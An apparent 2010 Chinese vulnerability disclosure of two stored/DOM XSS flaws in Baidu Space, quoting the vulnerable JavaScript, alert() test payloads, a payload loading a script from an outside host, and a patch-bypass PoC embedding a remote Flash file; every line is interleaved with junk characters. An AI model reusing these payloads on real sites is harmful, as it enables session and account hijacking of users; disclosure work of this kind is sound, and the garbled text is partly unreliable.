百度空间的宠物插件对用户输入变量未经任何过滤便存储,并不经过滤输出,造成XSS.
/ k" J$ j' }8 x& z( Q/ T3 p! F' [+ U4 f1 `4 G3 [& _
1.在http://hi.baidu.com/p__z/modify/sppet中,用户可以输入留言管理,提交后,未过滤直接储存. * q4 A* l, w. W! a H1 B
2.在http://hi.baidu.com/ui/scripts/pet/pet.js中
5 W6 c# Z8 C [% E! N+ Y' `! ^% ]$ t+ a- F( h o' C
将输出一段HTML:<p style="margin-top:5px"><strong>’+F[2]+"说:</strong>"+BdUtil.insertWBR(F[0], 4)+’</p> 5 z J% y0 B5 m- z& m0 p6 p c
其中BdUtil.insertWBR为
. y* ]7 A& v/ J4 f2 ~function(text, step) {
$ P2 q3 [- {5 X var textarea = textAreaCache || getContainer(); 3 K3 U) j4 ]8 u1 r% T) F( U; Q: G
if (!textarea) {
5 ~9 D+ \2 d5 [ return text;
- E+ Y0 d: {) R5 J } 0 y' a P, g9 E6 c
textarea.innerHTML = text.replace(/&/g, "&").replace(/</g, "<").replace(/>/g, ">"); 4 W& }" Y9 G4 S7 k+ h
var string = textarea.value; 0 V3 V- M4 p5 r1 a
var step = step || 5, reg = new RegExp("(\\S{" + step + "})", "gi"); 1 b( w" f0 I3 |% H
var result = string.replace(/(<[^>]+>)/gi, "$1<wbr/>").replace(/(>|^)([^<]+)(<|$)/gi, function (a, b, c, d) {if (c.length < step) {return a;}return b + c.replace(reg, "$1<wbr/>") + d;}).replace(/&([^;]*)(<wbr\/?>)([^;]*);/g, "&$1$3;");
3 W, _8 k( S4 D2 J$ g' t5 O return result;
3 X# x7 j$ V, Y- e0 U& L} ( l2 M, M, {3 f* Z$ A9 s0 j% S
在首页中,textAreaCache 和 getContainer()均不存在,故!textarea为true,未经过滤直接return text.造成XSS. ! L r1 }! p; _; ~$ R0 @
测试代码:宠物留言管理处输入:<img src=# onerror=alert(/qing/)>
4 p9 z8 `8 Y( X l8 k' t
4 s; o; V% s; [5 R3 d4 e& P2 i) d; K二:creatbgmusic() Dom-Xss Bug ) p( `6 k( B, [6 N# x, o
百度空间的Javascript Dom函数creatbgmusic()在输出变量bgmusic*没有进行过滤,导致可以通过initBlogTextForFCK()函数构造容易HTML代码,最终导致xss漏洞 7 G0 @2 s. ^- Q2 q0 K# E4 h
+ O6 F2 X+ p$ w" x在http://hi.baidu.com//js/bgmusic.js?v=1.0.js 代码:
5 a( o9 L( L9 x6 [2 O( }+ ]( P! i6 T6 N3 ?1 c; }
function creatbgmusic(murl, musicnum, IsMusicHide, IsMusicLoop, IsMusicAutoPlay, unknow, functype) { ( c. m( r' }! P; H9 Q3 a
//传入的murl赋值到bgmusic1和bgmusic2中 ; i) H- E& Y! ]- f
//可以通过构造类似代码来闭合标签如 "><img src=2 onerror=s=document.createElement("script");s.src="http://www.80vul.com/sobb/alert.php";document.body.appendChild(s);>#1
/ X/ r, l& g0 R; e var bgmusic1 = "<OBJECT id=phx width=100% classid=clsid:6BF52A52-394A-11D3-B153-00C04F79FAA6 " + (IsMusicHide ? "height=45" : "") + ">" + "<PARAM NAME=\"URL\" VALUE=\"" + murl + "?t=" + Math.random() + "\">" + " <PARAM NAME=\"rate\" VALUE=\"1\">" + " <PARAM NAME=\"balance\" VALUE=\"0\">" + " <PARAM NAME=\"currentPosition\" VALUE=\"0\">" + " <PARAM NAME=\"defaultFrame\" VALUE=\"\">" + " <PARAM NAME=\"PlayCount\" VALUE=\"" + (IsMusicLoop ? 100 : 0) + "\">" + " <PARAM NAME=\"DisplayMode\" VALUE=\"0\">" + " <PARAM NAME=\"PreviewMode\" VALUE=\"0\">" + " <PARAM NAME=\"DisplayForeColor\" VALUE=\"16777215\">" + " <PARAM NAME=\"ShowCaptioning\" VALUE=\"0\">" + " <PARAM NAME=\"ShowControls\" VALUE=\"1\">" + " <PARAM NAME=\"ShowAudioControls\" VALUE=\"1\">" + " <PARAM NAME=\"ShowDisplay\" VALUE=\"0\">" + " <PARAM NAME=\"ShowGotoBar\" VALUE=\"0\">" + " <PARAM NAME=\"ShowStatusBar\" VALUE=\"0\">" + " <PARAM NAME=\"ShowTracker\" VALUE=\"1\">" + " <PARAM NAME=\"autoStart\" VALUE=\"" + (IsMusicAutoPlay ? 1 : 0) + "\">" + " <PARAM NAME=\"AutoRewind\" VALUE=\"" + (IsMusicAutoPlay ? 1 : 0) + "\">" + " <PARAM NAME=\"currentMarker\" VALUE=\"0\">" + " <PARAM NAME=\"invokeURLs\" VALUE=\"0\">" + " <PARAM NAME=\"baseURL\" VALUE=\"\">" + " <PARAM NAME=\"volume\" VALUE=\"100\">" + " <PARAM NAME=\"mute\" VALUE=\"0\">" + " <PARAM NAME=\"stretchToFit\" VALUE=\"0\">" + " <PARAM NAME=\"windowlessVideo\" VALUE=\"1\">" + " <PARAM NAME=\"enabled\" VALUE=\"1\">" + " <PARAM NAME=\"EnableFullScreenControls\" VALUE=\"0\">" + " <PARAM NAME=\"EnableTracker\" VALUE=\"1\">" + " <PARAM NAME=\"EnablePositionControls\" VALUE=\"1\">" + " <PARAM NAME=\"enableContextMenu\" VALUE=\"0\">" + " <PARAM NAME=\"SelectionStart\" VALUE=\"0\">" + " <PARAM NAME=\"SelectionEnd\" VALUE=\"0\">" + " <PARAM NAME=\"fullScreen\" VALUE=\"0\">" + " <PARAM NAME=\"SAMIStyle\" VALUE=\"\">" + " <PARAM NAME=\"SAMILang\" VALUE=\"\">" + " <PARAM NAME=\"SAMIFilename\" VALUE=\"\">" + " <PARAM NAME=\"captioningID\" VALUE=\"\">" + " <PARAM NAME=\"Visualizations\" VALUE=\"1\">";
- X7 c" e- V4 J) o if (musicnum <= 1) { ; [% e, o5 |% d. n; S6 n, B. [+ D
bgmusic1 += " <PARAM NAME=\"uiMode\" VALUE=\"mini\">";
0 H( _ ~' o3 H9 A }
7 N" p& @; N1 l: A2 ~8 Q bgmusic1 += "</OBJECT>";
4 ^) B& g0 P: V& q, v1 w: C1 Q$ a var bgmusic2 = "<EMBED src=\"" + murl + "?t=" + Math.random() + "\" width=\"100%\" " + (IsMusicHide ? "height=45" : "") + " type=\"application/x-mplayer2\" invokeurls=\"0\" autogotourl=\"false\" autostart=" + (IsMusicAutoPlay ? 1 : 0) + " loop=" + (IsMusicLoop ? 1 : 0) + " quality=\"high\""; 2 [9 k9 u2 O! a3 C7 h& c. {$ j* j
if (musicnum <= 1) {
+ x: A, z; [! l: Y bgmusic2 += "showcontrols=\"1\" showpositioncontrols=\"0\" ";
s+ Q2 P- |+ A- G; I4 { }
. y' ]; o( V! {3 {! Y9 F% u bgmusic2 += "> </EMBED>"; $ U! r: f# W" E7 _
var bgmusic3 = "<div id=\"m_bgmusic\" class=\"modbox\">\u5BF9\u4E0D\u8D77\uFF0C\u60A8\u5C1A\u672A\u5B89\u88C5windows media player\uFF0C\u65E0\u6CD5\u6B23\u8D4F\u8BE5\u7A7A\u95F4\u7684\u80CC\u666F\u97F3\u4E50\uFF0C\u8BF7\u5148<a href=\"http://www.baidu.com/s?wd=windows+media+player+%CF%C2%D4%D8&cl=3\" target=\"_blank\">\u4E0B\u8F7D\u5E76\u5B89\u88C5</a><br><br></div>"; - |3 [ p; I, j4 E% H& r! {. c
var bgmus = detectWMP(); 5 {) r* ^# }4 \' N
if (functype == "FckMusicHelper") { 5 d+ |$ M% W0 ]" Z" Y- {" s
if (bgmus.installed) {
" _) |2 L# F2 F3 Y% V, @+ a if (bgmus.type == "IE") { ! ]3 b7 Z3 n: _8 q# [- f, P' p
return bgmusic1; # L4 @, U7 I4 N. ]
} else if (bgmus.type == "NS") {
; E# N3 Q4 Z `* D* s return bgmusic2; }9 |$ u. p8 z9 s
} 8 a9 C; ^2 B- e: N* U. i ?
} else { 6 E1 ?3 j4 e) r2 n
return bgmusic3; 7 m( h# w" r; R: x# [; I# F
} ' ]/ F9 O9 K5 v) f, h
} else { & t. G! h# B* L9 ~
if (bgmus.installed) { 6 h4 H9 @6 w f5 i- W
//document.write 直接输出bgmusic变量 导致xss 4 q5 x# `- a. ^3 a/ D3 d; q4 s" P
if (bgmus.type == "IE") { ! M# y- A% {# i
document.write(bgmusic1); ' ^' g0 K8 C4 y1 c+ X
} else if (bgmus.type == "NS") { - q* \7 r$ |6 E7 |5 u% B; b
document.write(bgmusic2); ' Y" H& W5 J0 y" J
} : d* B$ |5 |" w4 P0 I: Y
} else { . Q2 c7 t% @' U' l1 K# \& J
document.write(bgmusic3); , |$ _: k9 X0 M: x8 ] B/ w
} 9 z! j, o7 w. [5 Y
return ""; G y& F5 n! a+ G
}
: Q, E8 S: t. m+ _+ u( c* Q6 H} , Y. e3 A# \8 L% _
: |2 ]) k$ J! |在看百度空间里的initBlogTextForFCK()函数,调用了creatbgmusic() ,代码如下: . J7 k- p/ U, F9 p4 i' M7 Q5 ?
3 R: r( n; a3 h4 ]+ x
function initBlogTextForFCK(){
: @: f9 N1 d0 e% X//fck init music 9 D. i C* J# b
if(window.Node){Node.prototype.replaceNode=function(Node){this.parentNode.replaceChild(Node,this);}}
, x* K( U& ?! A$ }9 _var imgBox=document.getElementsByName(’musicName’); //取得了文章中的所有name="musicName"的标签数组
/ u( E/ P$ w# A N; q6 Uvar isAutoPlay=true;
* F' {1 c* h/ qfor(var i=0,n=imgBox.length;i<n;i++){ //然后遍历. ) q5 ~! f+ O' R/ b# t+ u/ i
var img=imgBox; 5 e9 h) b8 ^2 c' @4 n% J$ c
if(img.getAttribute(’rel’)){ ( u2 {; h1 z' i1 v5 D2 l
var musicSrc=img.getAttribute(’rel’); //取得标签中rel的值,赋值给musicSrc
: P+ P& v# q6 F8 z1 c' c+ @ var musicDiv = document.createElement("SPAN"); 6 x L- a- v, e: ^4 L" L
var tmp=musicSrc.substr (musicSrc.indexOf(’#’)+1, 1); //以"#"为界分割musicSrc字符串,提取自动播放的flag[tmp]
, {) H% I" i9 ]/ U; v$ O% ^( X& M& N8 R ) [) I2 ]" W4 O" i+ V: d
..........................
6 ]4 F: L/ I5 I: x$ L9 l/ o
8 S+ F3 b% I4 i$ ]3 o //直接将部分musicSrc传入creatbgmusic函数.在creatbgmusic函数直接把传入的murl赋值到bgmusic1和bgmusic2中并document.write出来. 1 w; g- Q3 w- P
var shtml=creatbgmusic(musicSrc.substr(0,musicSrc.indexOf(’#’)),1,true,false,tmpAutoPlay,tmpAutoPlay,’FckMusicHelper’); ' ]" ]+ I# H' H0 C1 T- m
shtml=shtml.replace(’width=100%’,’width=200’).replace(’width="100%"’,’width=200 height=45’); img.replaceNode(musicDiv); ( b4 {/ f ?2 n7 U9 S2 x; `
musicDiv.innerHTML=shtml; 9 E# O" e( @) q% {! v1 b
i--;n--; 0 O9 W% e0 z6 u
}
7 `) g: e* G) ^9 K5 m0 @}
0 ]$ t, `% S8 M4 ]. r( S1 {
, | ]( E5 h2 _2 K1 M从上面的代码分析可以看出:在所有的参数传递中,我们没有看到过滤.百度空间的富文本编辑器的过滤模式是基于HTML语法的,不会过滤掉一个属性的值中的HTML标签.所以我们可以精心构造一个的恶意的标签,在JS进行DOM操作后引起XSS.
8 M0 Z, P6 P! R: X - L/ [$ s- X/ K/ x* O1 U- e% C% k/ R
测试方法:<img width="200" height="45" name="musicName" rel=’"><img src=2 onerror=alert(/qing/)>#1’ src="http://hi.baidu.com/fc/editor/skins/default/update/mplogo.gif"/> 0 K3 n2 ]: Q c0 _$ D0 a
+ K) N4 ^/ \$ |8 c等待官方补丁 7 A& m7 u7 Q) ~% ]. y5 _' l, ~
2 y" i0 S8 t% i
update 2010年5月13日 * R# j* B5 u7 e
+ W8 f9 x3 w: E, P
官方补丁: # V2 j( Q' e% ` M; ^ N& g+ N
1 {5 e; d; O8 Z
var shtml=creatbgmusic(musicSrc.substr(0,musicSrc.indexOf(’#’)),1,true,false,tmpAutoPlay,tmpAutoPlay,’FckMusicHelper’);
2 i3 v. c. s8 Q. n3 |0 W1 r改为: , @0 S, [$ W' z1 y8 T3 ^
var shtml=creatbgmusic(musicSrc.substr(0,musicSrc.indexOf(’#’)).replace(/[\s><()]+/g,’’),1,true,false,isAutoPlay,isAutoPlay,’FckMusicHelper’); 0 Z b6 i. z/ U" B+ n) C
9 h8 b- M3 @( U# r, k3 `3 Q8 e iupdate 2010年5月13日 21:50:37 W% ]( V7 o) f, |/ n7 m
9 w/ ?6 [3 B" C, s; }1 h补丁存在漏洞 没有过滤" 可以继续跨: ' I( d9 x. p7 u7 V/ j z0 v
6 [4 B( I2 w2 {5 v8 E( A( P! w6 u
NEW POC: 4 `' |& d: G# @1 `
. c% k* n3 A6 y4 y) D
<img width="200" height="45" _fcksavedurl=" http://hi.baidu.com/fc/editor/skins/default/update/mplogo.gif" src="http://hi.baidu.com/fc/editor/skins/default/update/mplogo.gif" rel=’http://www.xsser.net/pz/js.swf"
. i( }9 q: u, J5 ?2 k ~
% @3 P* U- e. c+ d7 i7 {allowscriptaccess="always" type="application/x-shockwave-flash"#2’ name="musicName"/>
% I. h6 L+ H5 r2 z8 d: U 0 j: B; v: M! K: K7 U& a
|